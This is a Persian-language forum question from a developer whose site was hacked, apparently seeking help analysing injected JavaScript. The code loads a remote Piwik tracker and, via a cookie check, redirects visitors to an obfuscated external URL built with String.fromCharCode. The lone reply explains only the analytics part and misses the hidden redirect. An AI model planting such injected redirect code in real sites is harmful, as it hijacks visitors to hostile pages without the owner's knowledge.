بررسی کد جاوا اسکریپت

3 سال پیش توسط Mohammad Khezri مطرح شد
آفلاین
user-avatar
Mohammad Khezri ( 3982 تجربه )
3 سال پیش
تخصص : PHP and Wordpress Developer

لینک کوتاه اشتراک گذاری

0

سلام
یکی از سایت های طراحی شده به تازگی هک شده و این کد جاوا اسکریپت ریدایرکت میکنه به سایت های دیگه، شرح کامل کد که دقیقا داره چیکار می کنه و فانکشن ها چی هستن رو کسی می تونه بگه؟
مرسی از همه

 simple();
  var _paq = _paq || [];
  /* tracker methods like "setCustomDimension" should be called before "trackPageView" */
  _paq.push(['trackPageView']);
  _paq.push(['enableLinkTracking']);
  (function() {
    var u="https://patonce.innocraft.cloud/";
    _paq.push(['setTrackerUrl', u+'piwik.php']);
    _paq.push(['setSiteId', '1']);
    var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
    g.type='text/javascript'; g.async=true; g.defer=true; g.src='//cdn.innocraft.cloud/patonce.innocraft.cloud/piwik.js'; s.parentNode.insertBefore(g,s);
  })();

function getCookie(name) {
    var dc = document.cookie;
    var prefix = name + "=";
    var begin = dc.indexOf("; " + prefix);
    if (begin == -1) {
        begin = dc.indexOf(prefix);
        if (begin != 0) return null;
    }
    else
    {
        begin += 2;
        var end = document.cookie.indexOf(";", begin);
        if (end == -1) {
        end = dc.length;
        }
    }
    // because unescape has been deprecated, replaced with decodeURI
    //return unescape(dc.substring(begin + prefix.length, end));
    return decodeURI(dc.substring(begin + prefix.length, end));
} 
function spu_createCookie(name, value, hours)
{
    if (hours)
    {
        var date = new Date();
        date.setTime(date.getTime()+(hours*60*60*1000));
        var expires = "; expires="+date.toGMTString();
    }
    else
    {
        var expires = "";
    }

    document.cookie = name+"="+value+expires+"; path=/";
}

function simple() {

    var myCookie = getCookie("simpleCookie");

    if (myCookie == null) {
        spu_createCookie("simpleCookie",1,8);
        var surl = String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 99, 104, 105, 116, 97, 120, 46, 115, 112, 97, 99, 101, 47, 63, 104, 61, 52, 51, 48, 53, 56, 52, 48, 49, 49, 95, 98, 55, 56, 102, 97, 50, 102, 51, 102, 100, 97, 95, 49, 48, 48, 48, 48, 48, 48, 48, 38, 104, 95, 53, 61, 115, 117, 98, 95, 105, 100, 95, 50, 38, 104, 95, 50, 61, 100, 101, 102, 95, 115, 117, 98);
        window.location.replace(surl);
        window.location.href= surl;
        document.location.href=surl;
    }
    else {

        // do cookie exists stuff
    }
}
آفلاین
user-avatar
مجتبی محمودمقدم ( 5675 تجربه )
3 سال پیش
تخصص : برنامه نویسی اندروید و وب

لینک کوتاه اشتراک گذاری

0

Piwik یک چیزی شبیه Google Analytics هست و piwik.js یک کتابخونه برای دسترسی به اونه. به نظر من تیکه کد بالا داره از سرویس Piwik استفاده میکنه و ممکنه درآمدزایی هم داره

برای ارسال پاسخ لازم است، ابتدا وارد سایت شوید.